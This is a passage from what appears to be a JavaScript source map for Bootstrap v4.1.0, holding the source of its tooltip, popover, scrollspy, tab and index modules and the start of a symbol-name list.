node or a jQuery\n        if (html) {\n          if (!$(content).parent().is($element)) {\n            $element.empty().append(content)\n          }\n        } else {\n          $element.text($(content).text())\n        }\n      } else {\n        $element[html ? 'html' : 'text'](content)\n      }\n    }\n\n    getTitle() {\n      let title = this.element.getAttribute('data-original-title')\n\n      if (!title) {\n        title = typeof this.config.title === 'function'\n          ? this.config.title.call(this.element)\n          : this.config.title\n      }\n\n      return title\n    }\n\n    // Private\n\n    _getAttachment(placement) {\n      return AttachmentMap[placement.toUpperCase()]\n    }\n\n    _setListeners() {\n      const triggers = this.config.trigger.split(' ')\n\n      triggers.forEach((trigger) => {\n        if (trigger === 'click') {\n          $(this.element).on(\n            this.constructor.Event.CLICK,\n            this.config.selector,\n            (event) => this.toggle(event)\n          )\n        } else if (trigger !== Trigger.MANUAL) {\n          const eventIn = trigger === Trigger.HOVER\n            ? this.constructor.Event.MOUSEENTER\n            : this.constructor.Event.FOCUSIN\n          const eventOut = trigger === Trigger.HOVER\n            ? this.constructor.Event.MOUSELEAVE\n            : this.constructor.Event.FOCUSOUT\n\n          $(this.element)\n            .on(\n              eventIn,\n              this.config.selector,\n              (event) => this._enter(event)\n            )\n            .on(\n              eventOut,\n              this.config.selector,\n              (event) => this._leave(event)\n            )\n        }\n\n        $(this.element).closest('.modal').on(\n          'hide.bs.modal',\n          () => this.hide()\n        )\n      })\n\n      if (this.config.selector) {\n        this.config = {\n          ...this.config,\n          trigger: 'manual',\n          selector: ''\n        }\n      } else {\n        this._fixTitle()\n      }\n    }\n\n    _fixTitle() {\n      const titleType = typeof this.element.getAttribute('data-original-title')\n      if (this.element.getAttribute('title') ||\n         titleType !== 'string') {\n        this.element.setAttribute(\n          'data-original-title',\n          this.element.getAttribute('title') || ''\n        )\n        this.element.setAttribute('title', '')\n      }\n    }\n\n    _enter(event, context) {\n      const dataKey = this.constructor.DATA_KEY\n\n      context = context || $(event.currentTarget).data(dataKey)\n\n      if (!context) {\n        context = new this.constructor(\n          event.currentTarget,\n          this._getDelegateConfig()\n        )\n        $(event.currentTarget).data(dataKey, context)\n      }\n\n      if (event) {\n        context._activeTrigger[\n          event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER\n        ] = true\n      }\n\n      if ($(context.getTipElement()).hasClass(ClassName.SHOW) ||\n         context._hoverState === HoverState.SHOW) {\n        context._hoverState = HoverState.SHOW\n        return\n      }\n\n      clearTimeout(context._timeout)\n\n      context._hoverState = HoverState.SHOW\n\n      if (!context.config.delay || !context.config.delay.show) {\n        context.show()\n        return\n      }\n\n      context._timeout = setTimeout(() => {\n        if (context._hoverState === HoverState.SHOW) {\n          context.show()\n        }\n      }, context.config.delay.show)\n    }\n\n    _leave(event, context) {\n      const dataKey = this.constructor.DATA_KEY\n\n      context = context || $(event.currentTarget).data(dataKey)\n\n      if (!context) {\n        context = new this.constructor(\n          event.currentTarget,\n          this._getDelegateConfig()\n        )\n        $(event.currentTarget).data(dataKey, context)\n      }\n\n      if (event) {\n        context._activeTrigger[\n          event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER\n        ] = false\n      }\n\n      if (context._isWithActiveTrigger()) {\n        return\n      }\n\n      clearTimeout(context._timeout)\n\n      context._hoverState = HoverState.OUT\n\n      if (!context.config.delay || !context.config.delay.hide) {\n        context.hide()\n        return\n      }\n\n      context._timeout = setTimeout(() => {\n        if (context._hoverState === HoverState.OUT) {\n          context.hide()\n        }\n      }, context.config.delay.hide)\n    }\n\n    _isWithActiveTrigger() {\n      for (const trigger in this._activeTrigger) {\n        if (this._activeTrigger[trigger]) {\n          return true\n        }\n      }\n\n      return false\n    }\n\n    _getConfig(config) {\n      config = {\n        ...this.constructor.Default,\n        ...$(this.element).data(),\n        ...config\n      }\n\n      if (typeof config.delay === 'number') {\n        config.delay = {\n          show: config.delay,\n          hide: config.delay\n        }\n      }\n\n      if (typeof config.title === 'number') {\n        config.title = config.title.toString()\n      }\n\n      if (typeof config.content === 'number') {\n        config.content = config.content.toString()\n      }\n\n      Util.typeCheckConfig(\n        NAME,\n        config,\n        this.constructor.DefaultType\n      )\n\n      return config\n    }\n\n    _getDelegateConfig() {\n      const config = {}\n\n      if (this.config) {\n        for (const key in this.config) {\n          if (this.constructor.Default[key] !== this.config[key]) {\n            config[key] = this.config[key]\n          }\n        }\n      }\n\n      return config\n    }\n\n    _cleanTipClass() {\n      const $tip = $(this.getTipElement())\n      const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n      if (tabClass !== null && tabClass.length > 0) {\n        $tip.removeClass(tabClass.join(''))\n      }\n    }\n\n    _handlePopperPlacementChange(data) {\n      this._cleanTipClass()\n      this.addAttachmentClass(this._getAttachment(data.placement))\n    }\n\n    _fixTransition() {\n      const tip = this.getTipElement()\n      const initConfigAnimation = this.config.animation\n      if (tip.getAttribute('x-placement') !== null) {\n        return\n      }\n      $(tip).removeClass(ClassName.FADE)\n      this.config.animation = false\n      this.hide()\n      this.show()\n      this.config.animation = initConfigAnimation\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' && config\n\n        if (!data && /dispose|hide/.test(config)) {\n          return\n        }\n\n        if (!data) {\n          data = new Tooltip(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Tooltip._jQueryInterface\n  $.fn[NAME].Constructor = Tooltip\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Tooltip._jQueryInterface\n  }\n\n  return Tooltip\n})($, Popper)\n\nexport default Tooltip\n","import $ from 'jquery'\nimport Tooltip from './tooltip'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Popover = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'popover'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.popover'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n  const CLASS_PREFIX        = 'bs-popover'\n  const BSCLS_PREFIX_REGEX  = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n  const Default = {\n    ...Tooltip.Default,\n    placement : 'right',\n    trigger   : 'click',\n    content   : '',\n    template  : '<div class=\"popover\" role=\"tooltip\">' +\n                '<div class=\"arrow\"></div>' +\n                '<h3 class=\"popover-header\"></h3>' +\n                '<div class=\"popover-body\"></div></div>'\n  }\n\n  const DefaultType = {\n    ...Tooltip.DefaultType,\n    content : '(string|element|function)'\n  }\n\n  const ClassName = {\n    FADE : 'fade',\n    SHOW : 'show'\n  }\n\n  const Selector = {\n    TITLE   : '.popover-header',\n    CONTENT : '.popover-body'\n  }\n\n  const Event = {\n    HIDE       : `hide${EVENT_KEY}`,\n    HIDDEN     : `hidden${EVENT_KEY}`,\n    SHOW       : `show${EVENT_KEY}`,\n    SHOWN      : `shown${EVENT_KEY}`,\n    INSERTED   : `inserted${EVENT_KEY}`,\n    CLICK      : `click${EVENT_KEY}`,\n    FOCUSIN    : `focusin${EVENT_KEY}`,\n    FOCUSOUT   : `focusout${EVENT_KEY}`,\n    MOUSEENTER : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE : `mouseleave${EVENT_KEY}`\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Popover extends Tooltip {\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    static get NAME() {\n      return NAME\n    }\n\n    static get DATA_KEY() {\n      return DATA_KEY\n    }\n\n    static get Event() {\n      return Event\n    }\n\n    static get EVENT_KEY() {\n      return EVENT_KEY\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Overrides\n\n    isWithContent() {\n      return this.getTitle() || this._getContent()\n    }\n\n    addAttachmentClass(attachment) {\n      $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n    }\n\n    getTipElement() {\n      this.tip = this.tip || $(this.config.template)[0]\n      return this.tip\n    }\n\n    setContent() {\n      const $tip = $(this.getTipElement())\n\n      // We use append for html objects to maintain js events\n      this.setElementContent($tip.find(Selector.TITLE), this.getTitle())\n      let content = this._getContent()\n      if (typeof content === 'function') {\n        content = content.call(this.element)\n      }\n      this.setElementContent($tip.find(Selector.CONTENT), content)\n\n      $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n    }\n\n    // Private\n\n    _getContent() {\n      return this.element.getAttribute('data-content') ||\n        this.config.content\n    }\n\n    _cleanTipClass() {\n      const $tip = $(this.getTipElement())\n      const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n      if (tabClass !== null && tabClass.length > 0) {\n        $tip.removeClass(tabClass.join(''))\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' ? config : null\n\n        if (!data && /destroy|hide/.test(config)) {\n          return\n        }\n\n        if (!data) {\n          data = new Popover(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Popover._jQueryInterface\n  $.fn[NAME].Constructor = Popover\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Popover._jQueryInterface\n  }\n\n  return Popover\n})($)\n\nexport default Popover\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst ScrollSpy = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'scrollspy'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.scrollspy'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n  const Default = {\n    offset : 10,\n    method : 'auto',\n    target : ''\n  }\n\n  const DefaultType = {\n    offset : 'number',\n    method : 'string',\n    target : '(string|element)'\n  }\n\n  const Event = {\n    ACTIVATE      : `activate${EVENT_KEY}`,\n    SCROLL        : `scroll${EVENT_KEY}`,\n    LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DROPDOWN_ITEM : 'dropdown-item',\n    DROPDOWN_MENU : 'dropdown-menu',\n    ACTIVE        : 'active'\n  }\n\n  const Selector = {\n    DATA_SPY        : '[data-spy=\"scroll\"]',\n    ACTIVE          : '.active',\n    NAV_LIST_GROUP  : '.nav, .list-group',\n    NAV_LINKS       : '.nav-link',\n    NAV_ITEMS       : '.nav-item',\n    LIST_ITEMS      : '.list-group-item',\n    DROPDOWN        : '.dropdown',\n    DROPDOWN_ITEMS  : '.dropdown-item',\n    DROPDOWN_TOGGLE : '.dropdown-toggle'\n  }\n\n  const OffsetMethod = {\n    OFFSET   : 'offset',\n    POSITION : 'position'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class ScrollSpy {\n    constructor(element, config) {\n      this._element       = element\n      this._scrollElement = element.tagName === 'BODY' ? window : element\n      this._config        = this._getConfig(config)\n      this._selector      = `${this._config.target} ${Selector.NAV_LINKS},` +\n                            `${this._config.target} ${Selector.LIST_ITEMS},` +\n                            `${this._config.target} ${Selector.DROPDOWN_ITEMS}`\n      this._offsets       = []\n      this._targets       = []\n      this._activeTarget  = null\n      this._scrollHeight  = 0\n\n      $(this._scrollElement).on(Event.SCROLL, (event) => this._process(event))\n\n      this.refresh()\n      this._process()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    refresh() {\n      const autoMethod = this._scrollElement === this._scrollElement.window\n        ? OffsetMethod.OFFSET : OffsetMethod.POSITION\n\n      const offsetMethod = this._config.method === 'auto'\n        ? autoMethod : this._config.method\n\n      const offsetBase = offsetMethod === OffsetMethod.POSITION\n        ? this._getScrollTop() : 0\n\n      this._offsets = []\n      this._targets = []\n\n      this._scrollHeight = this._getScrollHeight()\n\n      const targets = $.makeArray($(this._selector))\n\n      targets\n        .map((element) => {\n          let target\n          const targetSelector = Util.getSelectorFromElement(element)\n\n          if (targetSelector) {\n            target = $(targetSelector)[0]\n          }\n\n          if (target) {\n            const targetBCR = target.getBoundingClientRect()\n            if (targetBCR.width || targetBCR.height) {\n              // TODO (fat): remove sketch reliance on jQuery position/offset\n              return [\n                $(target)[offsetMethod]().top + offsetBase,\n                targetSelector\n              ]\n            }\n          }\n          return null\n        })\n        .filter((item) => item)\n        .sort((a, b) => a[0] - b[0])\n        .forEach((item) => {\n          this._offsets.push(item[0])\n          this._targets.push(item[1])\n        })\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      $(this._scrollElement).off(EVENT_KEY)\n\n      this._element       = null\n      this._scrollElement = null\n      this._config        = null\n      this._selector      = null\n      this._offsets       = null\n      this._targets       = null\n      this._activeTarget  = null\n      this._scrollHeight  = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n\n      if (typeof config.target !== 'string') {\n        let id = $(config.target).attr('id')\n        if (!id) {\n          id = Util.getUID(NAME)\n          $(config.target).attr('id', id)\n        }\n        config.target = `#${id}`\n      }\n\n      Util.typeCheckConfig(NAME, config, DefaultType)\n\n      return config\n    }\n\n    _getScrollTop() {\n      return this._scrollElement === window\n        ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop\n    }\n\n    _getScrollHeight() {\n      return this._scrollElement.scrollHeight || Math.max(\n        document.body.scrollHeight,\n        document.documentElement.scrollHeight\n      )\n    }\n\n    _getOffsetHeight() {\n      return this._scrollElement === window\n        ? window.innerHeight : this._scrollElement.getBoundingClientRect().height\n    }\n\n    _process() {\n      const scrollTop    = this._getScrollTop() + this._config.offset\n      const scrollHeight = this._getScrollHeight()\n      const maxScroll    = this._config.offset +\n        scrollHeight -\n        this._getOffsetHeight()\n\n      if (this._scrollHeight !== scrollHeight) {\n        this.refresh()\n      }\n\n      if (scrollTop >= maxScroll) {\n        const target = this._targets[this._targets.length - 1]\n\n        if (this._activeTarget !== target) {\n          this._activate(target)\n        }\n        return\n      }\n\n      if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n        this._activeTarget = null\n        this._clear()\n        return\n      }\n\n      for (let i = this._offsets.length; i--;) {\n        const isActiveTarget = this._activeTarget !== this._targets[i] &&\n            scrollTop >= this._offsets[i] &&\n            (typeof this._offsets[i + 1] === 'undefined' ||\n                scrollTop < this._offsets[i + 1])\n\n        if (isActiveTarget) {\n          this._activate(this._targets[i])\n        }\n      }\n    }\n\n    _activate(target) {\n      this._activeTarget = target\n\n      this._clear()\n\n      let queries = this._selector.split(',')\n      // eslint-disable-next-line arrow-body-style\n      queries = queries.map((selector) => {\n        return `${selector}[data-target=\"${target}\"],` +\n               `${selector}[href=\"${target}\"]`\n      })\n\n      const $link = $(queries.join(','))\n\n      if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {\n        $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n        $link.addClass(ClassName.ACTIVE)\n      } else {\n        // Set triggered link as active\n        $link.addClass(ClassName.ACTIVE)\n        // Set triggered links parents as active\n        // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor\n        $link.parents(Selector.NAV_LIST_GROUP).prev(`${Selector.NAV_LINKS}, ${Selector.LIST_ITEMS}`).addClass(ClassName.ACTIVE)\n        // Handle special case when .nav-link is inside .nav-item\n        $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE)\n      }\n\n      $(this._scrollElement).trigger(Event.ACTIVATE, {\n        relatedTarget: target\n      })\n    }\n\n    _clear() {\n      $(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE)\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' && config\n\n        if (!data) {\n          data = new ScrollSpy(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(window).on(Event.LOAD_DATA_API, () => {\n    const scrollSpys = $.makeArray($(Selector.DATA_SPY))\n\n    for (let i = scrollSpys.length; i--;) {\n      const $spy = $(scrollSpys[i])\n      ScrollSpy._jQueryInterface.call($spy, $spy.data())\n    }\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = ScrollSpy._jQueryInterface\n  $.fn[NAME].Constructor = ScrollSpy\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return ScrollSpy._jQueryInterface\n  }\n\n  return ScrollSpy\n})($)\n\nexport default ScrollSpy\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tab.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tab = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'tab'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.tab'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n  const Event = {\n    HIDE           : `hide${EVENT_KEY}`,\n    HIDDEN         : `hidden${EVENT_KEY}`,\n    SHOW           : `show${EVENT_KEY}`,\n    SHOWN          : `shown${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DROPDOWN_MENU : 'dropdown-menu',\n    ACTIVE        : 'active',\n    DISABLED      : 'disabled',\n    FADE          : 'fade',\n    SHOW          : 'show'\n  }\n\n  const Selector = {\n    DROPDOWN              : '.dropdown',\n    NAV_LIST_GROUP        : '.nav, .list-group',\n    ACTIVE                : '.active',\n    ACTIVE_UL             : '> li > .active',\n    DATA_TOGGLE           : '[data-toggle=\"tab\"], [data-toggle=\"pill\"], [data-toggle=\"list\"]',\n    DROPDOWN_TOGGLE       : '.dropdown-toggle',\n    DROPDOWN_ACTIVE_CHILD : '> .dropdown-menu .active'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Tab {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    show() {\n      if (this._element.parentNode &&\n          this._element.parentNode.nodeType === Node.ELEMENT_NODE &&\n          $(this._element).hasClass(ClassName.ACTIVE) ||\n          $(this._element).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      let target\n      let previous\n      const listElement = $(this._element).closest(Selector.NAV_LIST_GROUP)[0]\n      const selector = Util.getSelectorFromElement(this._element)\n\n      if (listElement) {\n        const itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE\n        previous = $.makeArray($(listElement).find(itemSelector))\n        previous = previous[previous.length - 1]\n      }\n\n      const hideEvent = $.Event(Event.HIDE, {\n        relatedTarget: this._element\n      })\n\n      const showEvent = $.Event(Event.SHOW, {\n        relatedTarget: previous\n      })\n\n      if (previous) {\n        $(previous).trigger(hideEvent)\n      }\n\n      $(this._element).trigger(showEvent)\n\n      if (showEvent.isDefaultPrevented() ||\n         hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (selector) {\n        target = $(selector)[0]\n      }\n\n      this._activate(\n        this._element,\n        listElement\n      )\n\n      const complete = () => {\n        const hiddenEvent = $.Event(Event.HIDDEN, {\n          relatedTarget: this._element\n        })\n\n        const shownEvent = $.Event(Event.SHOWN, {\n          relatedTarget: previous\n        })\n\n        $(previous).trigger(hiddenEvent)\n        $(this._element).trigger(shownEvent)\n      }\n\n      if (target) {\n        this._activate(target, target.parentNode, complete)\n      } else {\n        complete()\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Private\n\n    _activate(element, container, callback) {\n      let activeElements\n      if (container.nodeName === 'UL') {\n        activeElements = $(container).find(Selector.ACTIVE_UL)\n      } else {\n        activeElements = $(container).children(Selector.ACTIVE)\n      }\n\n      const active = activeElements[0]\n      const isTransitioning = callback &&\n        (active && $(active).hasClass(ClassName.FADE))\n\n      const complete = () => this._transitionComplete(\n        element,\n        active,\n        callback\n      )\n\n      if (active && isTransitioning) {\n        const transitionDuration = Util.getTransitionDurationFromElement(active)\n\n        $(active)\n          .one(Util.TRANSITION_END, complete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        complete()\n      }\n    }\n\n    _transitionComplete(element, active, callback) {\n      if (active) {\n        $(active).removeClass(`${ClassName.SHOW} ${ClassName.ACTIVE}`)\n\n        const dropdownChild = $(active.parentNode).find(\n          Selector.DROPDOWN_ACTIVE_CHILD\n        )[0]\n\n        if (dropdownChild) {\n          $(dropdownChild).removeClass(ClassName.ACTIVE)\n        }\n\n        if (active.getAttribute('role') === 'tab') {\n          active.setAttribute('aria-selected', false)\n        }\n      }\n\n      $(element).addClass(ClassName.ACTIVE)\n      if (element.getAttribute('role') === 'tab') {\n        element.setAttribute('aria-selected', true)\n      }\n\n      Util.reflow(element)\n      $(element).addClass(ClassName.SHOW)\n\n      if (element.parentNode &&\n          $(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {\n        const dropdownElement = $(element).closest(Selector.DROPDOWN)[0]\n        if (dropdownElement) {\n          $(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n        }\n\n        element.setAttribute('aria-expanded', true)\n      }\n\n      if (callback) {\n        callback()\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $this = $(this)\n        let data = $this.data(DATA_KEY)\n\n        if (!data) {\n          data = new Tab(this)\n          $this.data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n      event.preventDefault()\n      Tab._jQueryInterface.call($(this), 'show')\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Tab._jQueryInterface\n  $.fn[NAME].Constructor = Tab\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Tab._jQueryInterface\n  }\n\n  return Tab\n})($)\n\nexport default Tab\n","import $ from 'jquery'\nimport Alert from './alert'\nimport Button from './button'\nimport Carousel from './carousel'\nimport Collapse from './collapse'\nimport Dropdown from './dropdown'\nimport Modal from './modal'\nimport Popover from './popover'\nimport Scrollspy from './scrollspy'\nimport Tab from './tab'\nimport Tooltip from './tooltip'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0): index.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n(($) => {\n  if (typeof $ === 'undefined') {\n    throw new TypeError('Bootstrap\\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\\'s JavaScript.')\n  }\n\n  const version = $.fn.jquery.split(' ')[0].split('.')\n  const minMajor = 1\n  const ltMajor = 2\n  const minMinor = 9\n  const minPatch = 1\n  const maxMajor = 4\n\n  if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) {\n    throw new Error('Bootstrap\\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0')\n  }\n})($)\n\nexport {\n  Util,\n  Alert,\n  Button,\n  Carousel,\n  Collapse,\n  Dropdown,\n  Modal,\n  Popover,\n  Scrollspy,\n  Tab,\n  Tooltip\n}\n"],"names":["Util","$","TRANSITION_END","MAX_UID","MILLISECONDS_MULTIPLIER","toType","obj","toString","call","match","toLowerCase","getSpecialTransitionEndEvent","bindType","delegateType","handle","event","target","is","handleObj","handler","apply","arguments","undefined","transitionEndEmulator","duration","called","one","setTimeout","triggerTransitionEnd","setTransitionEndSupport","fn","emulateTransitionEnd","special","getUID","prefix","Math","random","document","getElementById","getSelectorFromElement","element","selector","getAttribute","$selector","find","length","err","getTransitionDurationFromElement","transitionDuration","css","floatTransitionDuration","parseFloat","split","reflow","offsetHeight","trigger","supportsTransitionEnd","Boolean","isElement","nodeType","typeCheckConfig","componentName","config","configTypes","property","Object","prototype","hasOwnProperty","expectedTypes","value","valueType","RegExp","test","Error","toUpperCase","Alert","NAME","VERSION","DATA_KEY","EVENT_KEY","DATA_API_KEY","JQUERY_NO_CONFLICT","Selector","DISMISS","Event","CLOSE","CLOSED","CLICK_DATA_API","ClassName","ALERT","FADE","SHOW","_element","close","rootElement","_getRootElement","customEvent","_triggerCloseEvent","isDefaultPrevented","_removeElement","dispose","removeData","parent","closest","closeEvent","removeClass","hasClass","_destroyElement","detach","remove","_jQueryInterface","each","$element","data","_handleDismiss","alertInstance","preventDefault","on","Constructor","noConflict","Button","ACTIVE","BUTTON","FOCUS","DATA_TOGGLE_CARROT","DATA_TOGGLE","INPUT","FOCUS_BLUR_DATA_API","toggle","triggerChangeEvent","addAriaPressed","input","type","checked","activeElement","hasAttribute","classList","contains","focus","setAttribute","toggleClass","button","Carousel","ARROW_LEFT_KEYCODE","ARROW_RIGHT_KEYCODE","TOUCHEVENT_COMPAT_WAIT","Default","interval","keyboard","slide","pause","wrap","DefaultType","Direction","NEXT","PREV","LEFT","RIGHT","SLIDE","SLID","KEYDOWN","MOUSEENTER","MOUSELEAVE","TOUCHEND","LOAD_DATA_API","CAROUSEL","ITEM","ACTIVE_ITEM","NEXT_PREV","INDICATORS","DATA_SLIDE","DATA_RIDE","_items","_interval","_activeElement","_isPaused","_isSliding","touchTimeout","_config","_getConfig","_indicatorsElement","_addEventListeners","next","_slide","nextWhenVisible","hidden","prev","cycle","clearInterval","setInterval","visibilityState","bind","to","index","activeIndex","_getItemIndex","direction","off","_keydown","documentElement","clearTimeout","tagName","which","makeArray","indexOf","_getItemByDirection","isNextDirection","isPrevDirection","lastItemIndex","isGoingToWrap","delta","itemIndex","_triggerSlideEvent","relatedTarget","eventDirectionName","targetIndex","fromIndex","slideEvent","from","_setActiveIndicatorElement","nextIndicator","children","addClass","activeElementIndex","nextElement","nextElementIndex","isCycling","directionalClassName","orderClassName","slidEvent","action","TypeError","_dataApiClickHandler","slideIndex","window","$carousel","Collapse","SHOWN","HIDE","HIDDEN","COLLAPSE","COLLAPSING","COLLAPSED","Dimension","WIDTH","HEIGHT","ACTIVES","_isTransitioning","_triggerArray","id","tabToggles","i","elem","filter","_selector","push","_parent","_getParent","_addAriaAndCollapsedClass","hide","show","actives","activesData","not","startEvent","dimension","_getDimension","style","attr","setTransitioning","complete","capitalizedDimension","slice","scrollSize","getBoundingClientRect","$elem","isTransitioning","hasWidth","jquery","_getTargetFromElement","triggerArray","isOpen","$this","currentTarget","$trigger","$target","Dropdown","ESCAPE_KEYCODE","SPACE_KEYCODE","TAB_KEYCODE","ARROW_UP_KEYCODE","ARROW_DOWN_KEYCODE","RIGHT_MOUSE_BUTTON_WHICH","REGEXP_KEYDOWN","CLICK","KEYDOWN_DATA_API","KEYUP_DATA_API","DISABLED","DROPUP","DROPRIGHT","DROPLEFT","MENURIGHT","MENULEFT","POSITION_STATIC","FORM_CHILD","MENU","NAVBAR_NAV","VISIBLE_ITEMS","AttachmentMap","TOP","TOPEND","BOTTOM","BOTTOMEND","RIGHTEND","LEFTEND","offset","flip","boundary","reference","display","_popper","_menu","_getMenuElement","_inNavbar","_detectNavbar","disabled","_getParentFromElement","isActive","_clearMenus","showEvent","Popper","referenceElement","_getPopperConfig","body","noop","destroy","update","scheduleUpdate","stopPropagation","constructor","_getPlacement","$par